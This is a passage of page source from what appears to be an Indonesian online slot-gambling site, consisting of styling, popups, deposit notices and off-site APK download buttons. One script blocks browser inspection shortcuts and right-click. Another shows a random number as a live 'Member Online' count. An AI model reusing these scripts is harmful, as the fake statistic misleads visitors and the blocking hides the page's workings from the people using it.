4916 } 4917 27.5% { 4918 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4919 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4920 } 4921 30% { 4922 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4923 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4924 } 4925 32.5% { 4926 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4927 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4928 } 4929 35% { 4930 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4931 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01); 4932 } 4933 37.5% { 4934 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4935 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01); 4936 } 4937 40% { 4938 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4939 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01); 4940 } 4941 42.5% { 4942 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4943 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01); 4944 } 4945 45% { 4946 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4947 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff); 4948 } 4949 50% { 4950 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4951 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4952 } 4953 72.5% { 4954 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4955 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4956 } 4957 75% { 4958 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4959 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff); 4960 } 4961 77.5% { 4962 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4963 background: linear-gradient(to right, #be0e01,#be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01); 4964 } 4965 80% { 4966 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4967 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01);
4968 } 4969 82.5% { 4970 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4971 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01); 4972 } 4973 85% { 4974 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4975 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01); 4976 } 4977 87.5% { 4978 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4979 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4980 } 4981 90% { 4982 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4983 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4984 } 4985 92.5% { 4986 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4987 background: linear-gradient(to right, #be0e01, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4988 } 4989 95% { 4990 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4991 background: linear-gradient(to right, #be0e01, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4992 } 4993 97.5% { 4994 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4995 background: linear-gradient(to right, #be0e01, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 4996 } 4997 100% { 4998 border-image: linear-gradient(to right, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff, #ffffff) 1; 4999 background: linear-gradient(to right, #ffffff, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01, #be0e01); 5000 } 5001 } 5002 </style> 5003 5004 <!-- popup --> 5005
5005<script> 5006 window.addEventListener('DOMContentLoaded', () => { 5007 if (window.location.pathname === '/' || window.location.pathname === '/') { 5008 $('body').append(` 5009 <div id="pop-up-container" onclick="close_pop_up()"> 5010 <div id="bg-black" class="fade-in"></div> 5011 5012 <div id="pop-up-wrapper" class="swirl-in-fwd gray-bg"> 5013 <img 5014 src="https://img-zone.b-cdn.net/icon/cctvslot/popup-cctvslot.png" 5015 alt="popup" 5016 /> 5017 5018 5019 <button onclick="close_pop_up()" style="color: #fff">KLIK UNTUK MENUTUP</button> 5020 </div> 5021 </div> 5022 `); 5023 5024 document.getElementById('pop-up-wrapper').addEventListener('click', e => { 5025 e.stopPropagation(); 5026 }); 5027 } 5028 }); 5029 5030 const close_pop_up = () => { 5031 document.getElementById('pop-up-wrapper')?.classList.replace('swirl-in-fwd', 'swirl-out-bck'); 5032 document.getElementById('bg-black')?.classList.replace('fade-in', 'fade-out'); 5033 5034 setTimeout(() => { 5035 const pop_up_container = document.getElementById('pop-up-container'); 5036 pop_up_container?.parentElement.removeChild(pop_up_container); 5037 }, 1000); 5038 }; 5039 </script>
5039 5040 <!--end popup --> 5041 5042
5042<script> 5043 document.addEventListener("keydown", function (event) { 5044 if (event.ctrlKey && event.shiftKey && event.key === "I") { 5045 event.preventDefault(); 5046 } 5047 if (event.ctrlKey && event.shiftKey && event.key === "J") { 5048 event.preventDefault(); 5049 } 5050 if (event.ctrlKey && event.key === "u") { 5051 event.preventDefault(); 5052 } 5053 if (event.key === "F12") { 5054 event.preventDefault(); 5055 } 5056 }); 5057 document.addEventListener("contextmenu", function (event) { 5058 event.preventDefault(); 5059 }); 5060 </script>
5060 5061 <style> 5062 .transaksi-header:nth-child(1) { 5063 border:2px solid #232534 !important; 5064 color:White!important; 5065 width: 100% !important; 5066 height: 33px !important; 5067 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bank-cctvslot.gif') 0px 0px no-repeat ; 5068 } 5069 @media only screen and (max-width: 768px){ 5070 .transaksi-header{ 5071 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bank-cctvslot.gif') 0px 0px no-repeat !important; 5072 } 5073 } 5074 .btn-success { 5075 display: block; 5076 background: linear-gradient(to bottom, #f1d56f 0%, #81612d 60%, #bc9342 100%); 5077 color: #e3e3e3; 5078 text-shadow: 1px 1px #000000; 5079 width: 300px; 5080 height: 48px; 5081 margin: auto; 5082 text-align: center; 5083 font-size: 15px; 5084 font-weight: bold; 5085 border-radius: 8px; 5086 border: 1px solid #e7ba50; 5087 box-shadow: 1px 2px 5px rgb(0 0 0 / 30%), inset 0 1px rgb(255 255 255 / 80%), inset 2px 0 rgb(255 255 255 / 20%), inset -2px 0 rgb(255 255 255 / 20%), inset 0px -2px rgb(255 255 255 / 10%); 5088 background-repeat: no-repeat; 5089 filter: none; 5090 } 5091 .btn-success:hover { 5092 color: #ffffff; 5093 background-color: #DAA520; 5094 background: #DAA520; 5095 } 5096 #pop-up-container { 5097 display: flex; 5098 align-items: center; 5099 justify-content: space-evenly; 5100 position: fixed; 5101 z-index: 11; 5102 top: 0; 5103 left: 0; 5104 right: 0; 5105 bottom: 0; 5106 } 5107 #pop-up-wrapper { 5108 width: 85%; 5109 min-width: 315px; 5110 max-width: 500px; 5111 min-height: 210px; 5112 position: relative; 5113 z-index: 11; 5114 overflow: visible; 5115 border-radius: 5px; 5116 } 5117 #pop-up-wrapper img { 5118 width: 100%; 5119 border-radius: 5px 5px 0 0; 5120 } 5121 #pop-up-wrapper button { 5122 width: 100%; 5123 padding: 0.75rem; 5124 font-size: -0.75rem; 5125 font-weight: 700; 5126 border: none; 5127 border-radius: 0 0 5px 5px; 5128 margin: 0; 5129 background: linear-gradient(to bottom, #e7ba50 100%, #e19f12 89%, #965e0e 71%); 5130 border: 3px groove #e7ba50; 5131 box-shadow: #e7ba50 0px 0px 10px 2px; 5132 } 5133 .gray-bg { 5134 background: #00000000 no-repeat; 5135 } 5136 .swirl-in-fwd { 5137 -webkit-animation: swirl-in-fwd 0.6s ease-out both; 5138 animation: swirl-in-fwd 0.6s ease-out both; 5139 } 5140 .x-mark-container { 5141 position: absolute; 5142 top: 5px; 5143 right: 5px; 5144 background-color: black; 5145 border-radius: 50%; 5146 width: 8%; 5147 } 5148 #bg-black { 5149 background-color: rgba(0, 0, 0, 0.86); 5150 position: fixed; 5151 z-index: 10; 5152 top: 0; 5153 left: 0; 5154 right: 0; 5155 bottom: 0; 5156 } 5157 @-webkit-keyframes swirl-in-fwd { 5158 0% { 5159 -webkit-transform: rotate(-540deg) scale(0); 5160 transform: rotate(-540deg) scale(0); 5161 opacity: 0; 5162 } 5163 100% { 5164 -webkit-transform: rotate(0) scale(1); 5165 transform: rotate(0) scale(1); 5166 opacity: 1; 5167 } 5168 } 5169 @keyframes swirl-in-fwd { 5170 0% { 5171 -webkit-transform: rotate(-540deg) scale(0); 5172 transform: rotate(-540deg) scale(0); 5173 opacity: 0; 5174 } 5175 100% { 5176 -webkit-transform: rotate(0) scale(1); 5177 transform: rotate(0) scale(1); 5178 opacity: 1; 5179 } 5180 } 5181 .swirl-out-bck { 5182 -webkit-animation: swirl-out-bck 0.6s ease-in both; 5183 animation: swirl-out-bck 0.6s ease-in both; 5184 } 5185 @-webkit-keyframes swirl-out-bck { 5186 0% { 5187 -webkit-transform: rotate(0) scale(1); 5188 transform: rotate(0) scale(1); 5189 opacity: 1; 5190 } 5191 100% { 5192 -webkit-transform: rotate(-540deg) scale(0); 5193 transform: rotate(-540deg) scale(0); 5194 opacity: 0; 5195 } 5196 } 5197 @keyframes swirl-out-bck { 5198 0% { 5199 -webkit-transform: rotate(0) scale(1); 5200 transform: rotate(0) scale(1); 5201 opacity: 1;
5202 } 5203 100% { 5204 -webkit-transform: rotate(-540deg) scale(0); 5205 transform: rotate(-540deg) scale(0); 5206 opacity: 0; 5207 } 5208 } 5209 .fade-in { 5210 -webkit-animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both; 5211 animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both; 5212 } 5213 @-webkit-keyframes fade-in { 5214 0% { 5215 opacity: 0; 5216 } 5217 100% { 5218 opacity: 1; 5219 } 5220 } 5221 @keyframes fade-in { 5222 0% { 5223 opacity: 0; 5224 } 5225 100% { 5226 opacity: 1; 5227 } 5228 } 5229 .fade-out { 5230 -webkit-animation: fade-out 1s ease-out both; 5231 animation: fade-out 1s ease-out both; 5232 } 5233 @-webkit-keyframes fade-out { 5234 0% { 5235 opacity: 1; 5236 } 5237 100% { 5238 opacity: 0; 5239 } 5240 } 5241 @keyframes fade-out { 5242 0% { 5243 opacity: 1; 5244 } 5245 100% { 5246 opacity: 0; 5247 } 5248 } 5249 .appbar .logoimg { 5250 content:url("https://cctvslotdr.com/images/logoweb.png") !important; 5251 height: 75px; 5252 width: 240px; 5253 margin: 0px; 5254 object-position: center; 5255 } 5256 .appbar { 5257 grid-area: appbar; 5258 height: 100px; 5259 display: grid; 5260 border-bottom: none; 5261 } 5262 .logoimg {content:url("https://cctvslotdr.com/images/logoweb.png") !important; 5263 width: 250px; 5264 margin: 0px; 5265 object-position: center; 5266 } 5267 #togel-mobile { 5268 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bg-cctvslot.jpg') #000000; 5269 background-attachment: fixed; 5270 background-size: cover; 5271 background-position: top center; 5272 } 5273 #togel-desktop { 5274 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bg-cctvslot.jpg') #000000; 5275 background-attachment: fixed; 5276 background-size: cover; 5277 background-position: top center; 5278 } 5279 .provider { 5280 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bg-cctvslot.jpg') #000000; 5281 background-attachment: fixed; 5282 background-size: cover; 5283 background-position: top center; 5284 } 5285 .transaksi { 5286 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bg-cctvslot.jpg') #000000; 5287 background-attachment: fixed; 5288 background-size: cover; 5289 background-position: top center; 5290 } 5291 .guidelines { 5292 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bg-cctvslot.jpg') #000000; 5293 background-attachment: fixed; 5294 background-size: cover; 5295 background-position: top center; 5296 } 5297 .bantuan { 5298 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bg-cctvslot.jpg') #000000; 5299 background-attachment: fixed; 5300 background-size: cover; 5301 background-position: top center; 5302 } 5303 .contentdata { 5304 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bg-cctvslot.jpg') #000000; 5305 background-attachment: fixed; 5306 background-size: cover; 5307 background-position: top center; 5308 } 5309 .footer { 5310 background: url('https://img-zone.b-cdn.net/icon/cctvslot/bg-cctvslot.jpg') #000000; 5311 background-attachment: fixed; 5312 background-size: cover; 5313 background-position: top center; 5314 } 5315 .collapsible { 5316 background-color: #000000; 5317 color: white; 5318 cursor: pointer; 5319 padding: 0px; 5320 width: 100%; 5321 border: none; 5322 text-align: left; 5323 outline: none; 5324 font-size: 15px; 5325 margin-bottom: 0px; 5326 } 5327 .active, .collapsible:hover{ 5328 background: none; 5329 } 5330 .d-flex.gap-3.justify-content-center.align-items-center { 5331 display:none!important; 5332 } 5333 #boxprivacy { 5334 display:none!important; 5335 } 5336 .show-more.desktop-only { 5337 display:none!important; 5338 } 5339 #gt-nvframe { 5340 display:none!important; 5341 } 5342 .alert { 5343 border: 1px solid #e7ba50; 5344 box-shadow: #e7ba50 0px 0px 10px 2px; 5345 border-radius: 5px; 5346 margin-right: 20px; 5347 margin-left: 20px; 5348 margin-top: 10px; 5349 margin-bottom: -10px; 5350 } 5351 .blinking{ 5352 animation:blinkingText 1.5s infinite; 5353 margin:auto; 5354 display:block; 5355 font-weight: 900; 5356 color:#e3e3e3; 5357 text-shadow:#e3e3e3 0px 0px 3px; 5358 } 5359 .blinktext{ 5360 animation:blinkingText 1.5s infinite; 5361 text-shadow: 0px 0px 3px rgba(255, 215, 0, 1); 5362 color: #fff; 5363 text-align: center; 5364 font-size:15px; 5365 } 5366 .p { 5367 animation:blinkingText 1.5s infinite; 5368 text-shadow: 0px 0px 3px rgba(255, 215, 0, 1); 5369 color: #fff; 5370 text-align: center; 5371 font-size:15px; 5372 } 5373 @keyframes blinkingText { 5374 0% { color: #fff; } 5375 50% { color: #FFD700; } 5376 100% { color: #fff; } 5377 } 5378 5379 @media only screen and (max-width: 1000px){ 5380 :root{ 5381 --button-masuk-color: linear-gradient(to top, #f70808 35%, #F70807 155%), linear-gradient(313deg, rgba(255, 255, 255, 0.25) 0%, rgb(255 241 0 / 0%) 60%) !important; 5382 --button-daftar-color: linear-gradient(223deg, #47c630, rgb(49 174 27 / 78%), rgb(20 103 6 / 92%)) !important; 5383 } 5384 .btn-masuk{ 5385 text-shadow:none !important; 5386 box-shadow: 1px 2px 5px rgb(0 0 0 / 30%), inset 0 1px rgb(255 255 255 / 80%), inset 2px 0 rgb(255 255 255 / 20%), inset -2px 0 rgb(255 255 255 / 20%), inset 0px -2px rgb(255 255 255 / 10%); 5387 border: 1px solid #aa1616; 5388 } 5389 .btn-daftar{ 5390 text-shadow:none !important; 5391 box-shadow: 1px 2px 5px rgb(0 0 0 / 30%), inset 0 1px rgb(255 255 255 / 80%), inset 2px 0 rgb(255 255 255 / 20%), inset -2px 0 rgb(255 255 255 / 20%), inset 0px -2px rgb(255 255 255 / 10%); 5392 border: 1px solid #44ec09; 5393 } 5394 .result>.keluaran{ 5395 animation:blinkingText 1.5s infinite 5396 } 5397 } 5398 </style> 5399 5400 <!--Pemberitahuan--> 5401
5401<script> 5402 $("<div class='alert'><span class='blinking' style='text-align: center;font-size:21px;'>PEMBERITAHUAN PENTING :</span><p style='text-shadow: 0px 0px 3px #e7ba50;color: #fff;text-align: center;font-size:13px;'>MIN DP VIA BANK/E-WALLET IDR <b style='color: #6ce513'>10.000</b><br>MIN DP VIA PULSA/QRIS IDR <b style='color: #6ce513'>10.000</b><br>MIN WD IDR <b style='color: #6ce513'>50.000</b></p><p style='text-align: center;border: #001254 solid 1px;background:#e7ba50;color:#FFF ;margin:auto;font-size:12px;'><marquee><strong>DEPOSIT MENGGUNAKAN QRIS LEBIH CEPAT DAN MUDAH, SALDO OTOMATIS LANGSUNG MASUK DALAM HITUNGAN DETIK</strong></marquee></p></div>").insertAfter('#main-content'); 5403 </script>
5403 5404 5405 <!-- Service Table --> 5406 <style> 5407 5408 .count-item { 5409 font-size: 1.8rem; 5410 background: #e7ba50; 5411 padding: 0.3rem 0.5rem; 5412 color: #fff !important; 5413 border-radius: 10px; 5414 font-weight: bold; 5415 } 5416 .wrapper-service { 5417 display: flex; 5418 align-items: center; 5419 flex-wrap: wrap; 5420 justify-content: center; 5421 border-radius: 10px; 5422 margin-top: 1.3rem; 5423 border: 3px solid #e7ba50; 5424 box-shadow: #e7ba50 0px 0px 10px 2px; 5425 padding: 0.8rem; 5426 /* background: linear-gradient(90deg , #d39e00 0%, #cca11f 21%, #dba70a 49%, rgb(238 205 86) 75%, #9e7700 100%); color: #000; */ 5427 } 5428 .status-wrapper, .status-wrapper-mem { 5429 display: flex; 5430 align-items: center; 5431 } 5432 .status-wrapper { 5433 justify-content: center; 5434 } 5435 .status-wrapper-mem { 5436 justify-content: center; 5437 } 5438 .status-wrapper p { 5439 margin-right: 0.6rem !important; 5440 } 5441 .item-service { 5442 margin-right: 3rem; 5443 } 5444 .item-service:last-child { 5445 margin-right: 0; 5446 } 5447 .item-service h1 { 5448 font-size: 2.2rem; 5449 margin-top: 7px !important; 5450 text-transform : uppercase; 5451 font-weight: bold !important; 5452 } 5453 .google-wrapper { 5454 background: #fff; 5455 padding: 1.7rem; 5456 width: 25rem; 5457 height: 0.5rem; 5458 border-radius: 10px; 5459 position: relative; 5460 } 5461 .google-wrapper img { 5462 position: absolute; 5463 width: 2rem; 5464 top: 9px; 5465 left: 10px; 5466 } 5467 .item-service p { 5468 color: #fff; 5469 } 5470 .google-wrapper p { 5471 position: absolute; 5472 left: 5rem; 5473 top: 0.6rem; 5474 text-transform: uppercase; 5475 font-size: 1.50rem !important; 5476 font-weight: bold !important; 5477 color: #000 !important; 5478 } 5479 </style> 5480
5480<script> 5481 document.addEventListener('DOMContentLoaded', () => { 5482 5483 const min = 12554; 5484 const max = 36548; 5485 const memberUser = Math.floor(Math.random() * (max - min + 1)) + min; 5486 5487 $(' <div class="wrapper-service"><div class="item-service"><h1>Deposit</h1> <div class="status-wrapper"><p>Rata-Rata</p> <p><span class="count-item">1</span> Menit</p></div> <div class="progress21 progress-moved2"><div class="progress-bar21"></div> </div> </div> <div class="item-service"><h1>Withdraw</h1> <div class="status-wrapper"><p>Rata-Rata</p> <p><span class="count-item">3</span> Menit</p></div> <div class="progress21 progress-moved11"><div class="progress-bar31"></div> </div> </div> <div class="item-service"><h1>Member Online</h1> <div class="status-wrapper-mem"><p> </p> <p><span class="count-item">'+ memberUser +'</span> Member</p></div> </div> <div class="item-service"><p style="text-align: center;">Ketik Di Google:</p> <div class="google-wrapper"><img src="https://image-storage-855.b-cdn.net/icon/Logo-google-icon-PNG.png" /> <p>CCTVSLOT OFFICIAL</p></div></div> </div>').insertBefore(".provider-group"); 5488 5489 }); 5490 </script>
5490 5491 5492 <!-- Running Form --> 5493 <style> 5494 { 5495 .provider { 5496 padding-top: 1rem; 5497 background: #; 5498 color: #ffffff; 5499 } 5500 .login-field { 5501 width: 147px; 5502 } 5503 .header { 5504 background: #; 5505 } 5506 .menu-item>label, .menu span { 5507 color: #fff !important; 5508 } 5509 .title-infos { 5510 text-transform: uppercase; 5511 color: #fff; 5512 font-size: 1.2rem; 5513 text-align: center; 5514 display: flex; 5515 align-items:center; 5516 justify-content: center; 5517 } 5518 .img-title-infos { 5519 width: 40px; 5520 margin-right: 0.5rem; 5521 } 5522 .transaksi { 5523 padding-top: 1.5rem; 5524 } 5525 .wrap-all-trans { 5526 display: grid; 5527 grid-template-columns: repeat(2, 1fr); 5528 gap: 5px; 5529 } 5530 .wrapper-transactions { 5531 width: 35rem; 5532 max-width: 100%; 5533 padding: 0.7rem; 5534 margin-bottom: 1rem; 5535 margin-top: 1rem; 5536 border-radius: 10px; 5537 border: 3px solid #e7ba50; 5538 box-shadow: #e7ba50 0px 0px 10px 2px; 5539 background: var(--result-background); 5540 } 5541 .content-trans { 5542 height: 15rem; 5543 overflow: hidden; 5544 position: relative; 5545 } 5546 .avatar-trans { 5547 width: 2rem; 5548 max-width: 100%; 5549 margin-right: 0.7rem; 5550 } 5551 .avatar-wrapper { 5552 display: flex; 5553 justify-content: center; 5554 } 5555 .item-trans { 5556 color: #fff; 5557 background: #311402; 5558 display: flex; 5559 width: 100%; 5560 border: 1px solid #e7ba50; 5561 justify-content: space-between; 5562 align-items: center; 5563 border-radius: 5px; 5564 font-size: 1rem; 5565 margin-bottom: 0.45rem !important; 5566 padding: 0.4rem; 5567 position: relative; 5568 bottom: 0; /* Start the boxes at the bottom of the container */ 5569 animation: moveUp 40s linear infinite; 5570 } 5571 .rupiah-trans { 5572 color: #ffffff; 5573 font-weight: bold; 5574 } 5575 .text-centertitle { 5576 color: #ffffff; 5577 margin-top: 0; 5578 padding-bottom: 0.5rem; 5579 font-size: 1.15rem; 5580 font-weight: bold; 5581 } 5582 .divider-trans { 5583 margin-top: 14px !important; 5584 border-top: 1px solid rgb(0 0 0); 5585 } 5586 5587 .menu-alternatif { 5588 display: flex; 5589 justify-content: center; 5590 align-items: center; 5591 flex-wrap: wrap; 5592 list-style-type: none; 5593 gap: 8px; 5594 margin-bottom: 0.5rem; 5595 } 5596 .menu-alternatif li:first-child { 5597 background: # 5598 border: 3px solid #f9bb08; 5599 text-transform: uppercase; 5600 box-shadow: none; 5601 } 5602 .menu-alternatif li { 5603 background: #; 5604 padding: 0.8rem; 5605 font-size: 1.3rem; 5606 font-weight: bold; 5607 border: 3px solid #f9bb08; 5608 border-radius: 0 25px; 5609 box-shadow: 5px 3px 20px #000; 5610 } 5611 5612 @keyframes moveUp { 5613 0% { 5614 transform: translateY(0); /* Initial position, no translation */ 5615 } 5616 100% { 5617 transform: translateY(-1500px); /* Move the box upwards by the height of container */ 5618 } 5619 } 5620 5621 @keyframes glowing { 5622 5623 0% { 5624 background-position: 0 0; 5625 } 5626 50% { 5627 background-position: 400% 0;
5628 } 5629 100% { 5630 background-position: 0 0; 5631 } 5632 } 5633 @keyframes glowing { 5634 0% { 5635 background-position: 0 0; 5636 } 5637 50% { 5638 background-position: 400% 0; 5639 } 5640 100% { 5641 background-position: 0 0; 5642 } 5643 5644 } 5645 5646 @media only screen and (max-width: 1000px) { 5647 .wrap-all-trans { 5648 display: block; 5649 } 5650 5651 .wrapper-transactions { 5652 width: 100%; 5653 } 5654 5655 .gambar-samping { 5656 display: none; 5657 } 5658 5659 .menu-alternatif li { 5660 width: 100%; 5661 text-align: center; 5662 padding: 0.3rem; 5663 font-size: 1rem; 5664 } 5665 5666 } 5667 5668 5669 .login-field, .login-form>button, .btn-promosi, .wikwik { 5670 border-radius: 5px; 5671 } 5672 5673 5674 5675 5676 } 5677 </style> 5678
5678<script> 5679 $('<button type="button" class="btn-success btn-info fw-bold p-0 px-2 mobile-only" onclick="SOS()">DOWNLOAD APK CCTVSLOT</button>').insertAfter('.btn-daftar.mobile-only:eq(0)'); 5680 function SOS() {location.href = 'https://kasihmasuk.space/apkcctvslot';} 5681 $('<button type="button" class="btn-success btn-info fw-bold p-0 px-2 mobile-only" onclick="APK()">RTP GACOR CCTVSLOT HARI INI</button>').insertAfter('.btn-daftar.mobile-only:eq(0)'); 5682 function APK() {location.href = 'https://kasihmasuk.space/rtpcctvslot';} 5683 </script>
5683 5684
5684<script> 5685 document.addEventListener('DOMContentLoaded', () => { 5686 // General Setting 5687 const getLoginBtn = document.querySelector('.btn.btn-masuk.fw-bold.p-0.px-2.submit'); 5688 const getPromosiBtn = document.querySelector('.btn-promosi.fw-bold.desktop-only'); 5689 5690 getLoginBtn.textContent = 'Masuk'; 5691 getPromosiBtn.textContent = 'PROMOSI'; 5692 5693 // Withdraw & Deposit 5694 const getProvider = document.querySelector('.provider-group'); 5695 const transWrap = document.createElement('div'); 5696 transWrap.className = 'wrapper-transactions'; 5697 5698 const transWrapDp = document.createElement('div'); 5699 transWrapDp.className = 'wrapper-transactions'; 5700 5701 const transContent = document.createElement('div'); 5702 transContent.className = 'content-trans'; 5703 5704 const transContentDp = document.createElement('div'); 5705 transContentDp.className = 'content-trans'; 5706 5707 const makeDp = document.createElement('div'); 5708 makeDp.className = 'deposit-members'; 5709 5710 const makeWd = document.createElement('div'); 5711 makeWd.className = 'withdraw-members'; 5712 5713 const titleDp = document.createElement('h3'); 5714 titleDp.className = 'text-centertitle'; 5715 titleDp.textContent = 'NEW DEPOSIT'; 5716 5717 const titleWd = document.createElement('h3'); 5718 titleWd.className = 'text-centertitle'; 5719 titleWd.textContent = 'NEW WITHDRAW'; 5720 5721 transContentDp.appendChild(makeDp); 5722 transContent.appendChild(makeWd); 5723 transWrapDp.appendChild(titleDp); 5724 transWrap.appendChild(titleWd); 5725 5726 transWrapDp.appendChild(transContentDp); 5727 transWrap.appendChild(transContent); 5728 5729 const wrapAllTrans = document.createElement('div'); 5730 wrapAllTrans.className = 'wrap-all-trans'; 5731 5732 wrapAllTrans.appendChild(transWrapDp); 5733 wrapAllTrans.appendChild(transWrap); 5734 5735 getProvider.parentNode.insertBefore(wrapAllTrans, getProvider); 5736 5737 function getDeposit() { 5738 $.ajax({
